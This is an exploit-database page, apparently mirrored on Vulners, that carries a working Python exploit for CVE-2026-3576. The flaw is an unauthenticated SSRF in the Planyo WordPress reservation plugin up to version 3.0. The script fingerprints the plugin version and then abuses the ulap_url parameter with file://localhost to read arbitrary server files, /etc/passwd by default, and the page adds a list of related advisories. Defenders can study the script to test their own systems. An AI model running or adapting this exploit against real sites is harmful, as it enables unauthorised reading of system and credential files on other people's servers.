Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF
🗓️ 11 Aug 2026 00:00:00Reported by Balachandar GowrisankarType
exploitdb🔗 www.exploit-db.com👁 17 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2026-3576 | 11 Jul 202603:44 | – | attackerkb | |
| CVE-2026-3576 | 11 Jul 202605:30 | – | circl | |
| CVE-2026-3576 | 11 Jul 202603:44 | – | cve | |
| CVE-2026-3576 Planyo online reservation system <= 3.0 - Unauthenticated Server-Side Request Forgery via 'ulap_url' Parameter | 11 Jul 202603:44 | – | cvelist | |
| EUVD-2026-43137 | 11 Jul 202603:44 | – | euvd | |
| Planyo Online Reservation System <= 3.0 - Arbitrary File Read | 19 Aug 202614:04 | – | nuclei | |
| CVE-2026-3576 | 11 Jul 202605:16 | – | nvd | |
| Planyo Online Reservation System 3.0 SSRF / Arbitrary File Read | 11 Aug 202600:00 | – | packetstorm | |
| WordPress Planyo online reservation system plugin <= 3.0 - Unauthenticated Server-Side Request Forgery vulnerability | 16 Jul 202611:42 | – | patchstack | |
| PT-2026-57397 | 11 Jul 202600:00 | – | ptsecurity |
10
# Exploit Title: Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF
# Date: 12-07-2026
# Exploit Author: Balachandar Gowrisankar
# Vendor Homepage: https://www.planyo.com/wordpress-reservation-system/
# Software Link: https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/
# Version: <= 3.0
# Tested on: Kali GNU/Linux Rolling, Wordpress 7.0.1, Apache 2.4.68, Python 3.13.14
# CVE: CVE-2026-3576
# CVSS Score: 7.2
# Usage: python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd
import argparse
import requests
import re
def version_check(base_url):
readme_url = base_url + "wp-content/plugins/planyo-online-reservation-system/readme.txt"
response = requests.get(readme_url)
text = response.text
match = re.search(r"==\s*Changelog\s*==(.*)", text, re.DOTALL | re.IGNORECASE)
if match:
changelog = match.group(1)
versions = re.findall(r"=\s*v?([A-Za-z0-9._-]+)\s*=", changelog)
if versions:
print("[+] Version found:", versions[-1])
if versions[-1] in ['1.0', '1.1', '1.1.1', '1.2', '1.3', '1.5', '1.6', '1.7', '1.8', '2.3', '2.6', '2.7', '2.8', '2.9', '3.0']:
print("[+] Target is vulnerable")
else:
print("[-] Target is not vulnerable. Exiting.")
exit()
else:
print("[-] No versions found. Try skipping version check to see if exploit still works.")
exit()
else:
print("[-] No changelog section found. Try skipping version check to see if exploit still works.")
exit()
def read_file(base_url, file):
target_url = base_url + "wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost" + file
try:
response = requests.get(target_url)
response.raise_for_status()
print(response.text)
except requests.exceptions.HTTPError as e:
print(e)
def main():
parser = argparse.ArgumentParser(description="Exploit for CVE-2026-3576")
parser.add_argument("base_url", help="Target wordpress root directory(eg: http://localhost/wordpress/)")
parser.add_argument("-f", "--file", type=str, default="/etc/passwd", help="Location of arbitrary file on target. Default: /etc/passwd")
parser.add_argument("-d", "--disable-check", action="store_true", help="Disable target vulnerability check. Default: False")
args = parser.parse_args()
if not args.disable_check:
print("[*] Checking if target is vulnerable...")
version_check(args.base_url)
print("\n[*] Attempting to read arbitrary file...\n")
read_file(args.base_url, args.file)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.17.2
EPSS0.01131
SSVC